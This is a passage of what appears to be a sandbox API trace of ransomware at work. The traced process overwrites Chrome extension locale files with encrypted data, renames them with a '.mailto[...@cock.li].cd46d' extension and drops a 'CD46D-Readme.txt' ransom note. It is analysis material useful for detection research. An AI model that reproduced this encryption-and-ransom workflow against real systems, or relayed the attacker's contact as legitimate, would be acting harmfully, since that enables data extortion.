returned 1 [0195.984] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f68d0) returned 1 [0195.984] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938158) returned 1 [0195.984] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f68a0) returned 1 [0195.984] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9381a8) returned 1 [0195.984] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909730) returned 1 [0195.984] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9094d8) returned 1 [0195.984] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909550) returned 1 [0195.984] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4944f8 [0195.984] wcscpy (in: _Dest=0xd4944f8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json" [0195.984] wcscat (in: _Dest=0xd4944f8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0195.984] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x283fea4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0195.984] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c8ed8 [0196.106] FlushFileBuffers (hFile=0x1a74) returned 1 [0196.112] CloseHandle (hObject=0x1a74) returned 1 [0196.141] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x12cf79b8 [0196.141] wcscpy (in: _Dest=0x12cf79b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\" [0196.141] wcscat (in: _Dest=0x12cf79b8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\CD46D-Readme.txt" [0196.141] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\cd46d-readme.txt")) returned 0xffffffff [0196.141] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19a8 [0196.157] WriteFile (in: hFile=0x19a8, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x283feac, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x283feac*=0x6fd, lpOverlapped=0x0) returned 1 [0196.173] CloseHandle (hObject=0x19a8) returned 1 [0196.186] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf79b8) returned 1 [0196.186] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e65a8) returned 1 Thread: id = 7940 os_tid = 0x1d3c [0186.445] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json")) returned 0x2020 [0186.445] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json", dwFileAttributes=0x20) returned 1 [0189.504] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb98 [0189.505] GetFileSizeEx (in: hFile=0xb98, lpFileSize=0x442fc3c | out: lpFileSize=0x442fc3c*=221) returned 1 [0189.505] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c58f0 [0189.505] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5d78 [0189.505] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5df0 [0189.505] NtQuerySystemTime (in: CurrentTime=0x442fb9c | out: CurrentTime=0x442fb9c*=132174899640946000) returned 0x0 [0189.505] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x4c993781 [0189.505] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0xe060141 [0189.505] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x58732daf [0189.505] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x22e2fbb1 [0189.505] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x50d054b5 [0189.505] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x24235dc1 [0189.505] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x1248b4fc [0189.505] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x533d8abc [0189.505] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x576febf0 [0189.505] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x2b0293c0 [0189.505] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x40369001 [0189.505] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x7c29dfa8 [0189.505] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x47e6c969 [0189.505] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x35ba3be0 [0189.505] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x42670f3f [0189.505] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x6f430368 [0189.505] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x19d7a491 [0189.505] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x572d7177 [0189.505] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x100f33c6 [0189.505] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x56fc4a32 [0189.505] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x719671c3 [0189.505] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x64652ec3 [0189.505] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x342ecd49 [0189.505] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x37deba05 [0189.506] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0xec2ba47 [0189.506] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x105bcc79 [0189.506] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x112d22a7 [0189.506] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x70003637 [0189.506] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x2643d127 [0189.506] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x29a6a099 [0189.506] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x2f4d89a7 [0189.506] RtlRandomEx (in: Seed=0x442fba8 | out: Seed=0x442fba8) returned 0x12eb2186 [0189.519] ReadFile (hFile=0xb98, lpBuffer=0xd49a048, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x442fb98, lpOverlapped=0x0) [0189.519] SetFilePointerEx (in: hFile=0xb98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.520] WriteFile (in: hFile=0xb98, lpBuffer=0x12e2a008*, nNumberOfBytesToWrite=0xdd, lpNumberOfBytesWritten=0x442fb94, lpOverlapped=0x0 | out: lpBuffer=0x12e2a008*, lpNumberOfBytesWritten=0x442fb94*=0xdd, lpOverlapped=0x0) returned 1 [0191.668] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9aa8 [0191.668] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9d00 [0191.668] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9d00) returned 1 [0191.668] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12e2a008) returned 1 [0191.668] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd49a048) returned 1 [0191.668] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c8f0) returned 1 [0191.668] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2aa0) returned 1 [0191.668] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6f60 [0191.668] SetFilePointerEx (in: hFile=0xb98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.668] WriteFile (in: hFile=0xb98, lpBuffer=0x12cf51a8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x442fbfc, lpOverlapped=0x0 | out: lpBuffer=0x12cf51a8*, lpNumberOfBytesWritten=0x442fbfc*=0x10b, lpOverlapped=0x0) returned 1 [0191.799] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf51a8) returned 1 [0191.799] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6f90) returned 1 [0191.799] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9d00) returned 1 [0191.799] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6f60) returned 1 [0191.800] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9aa8) returned 1 [0191.800] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5d78) returned 1 [0191.800] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5da0) returned 1 [0191.800] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5bc0) returned 1 [0191.800] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4c8390 [0191.800] wcscpy (in: _Dest=0xd4c8390, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json" [0191.800] wcscat (in: _Dest=0xd4c8390, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0191.800] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x442fbb4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0191.800] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0x934960 Thread: id = 7941 os_tid = 0xca4 [0186.446] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json")) returned 0x2020 [0186.446] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json", dwFileAttributes=0x20) returned 1 [0189.520] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ad0 [0189.520] GetFileSizeEx (in: hFile=0x1ad0, lpFileSize=0x8a0fc5c | out: lpFileSize=0x8a0fc5c*=260) returned 1 [0189.520] SetFilePointerEx (in: hFile=0x1ad0, liDistanceToMove=0x100, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.520] ReadFile (in: hFile=0x1ad0, lpBuffer=0x8a0fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x8a0fbdc, lpOverlapped=0x0 | out: lpBuffer=0x8a0fbe0*, lpNumberOfBytesRead=0x8a0fbdc*=0x4, lpOverlapped=0x0) returned 1 [0189.521] SetFilePointerEx (in: hFile=0x1ad0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.521] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c58f0 [0189.521] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5df0 [0189.521] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5be8 [0189.521] NtQuerySystemTime (in: CurrentTime=0x8a0fbbc | out: CurrentTime=0x8a0fbbc*=132174899641102000) returned 0x0 [0189.521] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x2539e43b [0189.521] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x764ee6c3 [0189.521] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x2182f910 [0189.521] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x4b982301 [0189.522] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x6bc87fb8 [0189.522] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x5a34f238 [0189.522] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x515a0afe [0189.522] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x146cad84 [0189.522] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x2a5c1011 [0189.522] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x7c065989 [0189.522] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x7fb3cc03 [0189.522] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x240f79b9 [0189.522] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x56ddef2a [0189.522] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x5402361f [0189.522] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x2cd63e46 [0189.522] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x78095699 [0189.522] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x6042608c [0189.522] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x4c98248f [0189.522] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x7ef2efe6 [0189.522] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x400bb741 [0189.522] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x10bff35 [0189.522] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x36e34609 [0189.522] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x3d1b707e [0189.522] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x3b5535de [0189.522] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x14f5cbec [0189.522] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x338a88d8 [0189.522] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x75f5ee41 [0189.523] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x1aab7270 [0189.523] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x5c856580 [0189.523] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x590f8a42 [0189.523] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x17d8318a [0189.523] RtlRandomEx (in: Seed=0x8a0fbc8 | out: Seed=0x8a0fbc8) returned 0x58ef9ed1 [0189.534] ReadFile (hFile=0x1ad0, lpBuffer=0x12e43018, nNumberOfBytesToRead=0x104, lpNumberOfBytesRead=0x8a0fbb8, lpOverlapped=0x0) [0189.534] SetFilePointerEx (in: hFile=0x1ad0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.534] WriteFile (in: hFile=0x1ad0, lpBuffer=0x1334e870*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x8a0fbb4, lpOverlapped=0x0 | out: lpBuffer=0x1334e870*, lpNumberOfBytesWritten=0x8a0fbb4*=0x104, lpOverlapped=0x0) returned 1 [0191.670] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e98f0 [0191.670] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x938220 [0191.670] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938220) returned 1 [0191.670] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x1334e870) returned 1 [0191.670] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12e43018) returned 1 [0191.670] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c800) returned 1 [0191.670] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d26b0) returned 1 [0191.670] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f6f00 [0191.671] SetFilePointerEx (in: hFile=0x1ad0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.671] WriteFile (in: hFile=0x1ad0, lpBuffer=0x12cf6440*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x8a0fc1c, lpOverlapped=0x0 | out: lpBuffer=0x12cf6440*, lpNumberOfBytesWritten=0x8a0fc1c*=0x10b, lpOverlapped=0x0) returned 1 [0191.802] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6440) returned 1 [0191.802] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6f30) returned 1 [0191.802] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938220) returned 1 [0191.803] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6f00) returned 1 [0191.803] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e98f0) returned 1 [0191.803] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5df0) returned 1 [0191.803] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5e18) returned 1 [0191.803] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5c38) returned 1 [0191.803] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0xd4c9c10 [0191.803] wcscpy (in: _Dest=0xd4c9c10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json" [0191.803] wcscat (in: _Dest=0xd4c9c10, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0191.803] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x8a0fbd4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0191.803] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0x935158 Thread: id = 7942 os_tid = 0xca8 [0186.446] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json")) returned 0x2020 [0186.447] SetFileAttributesW 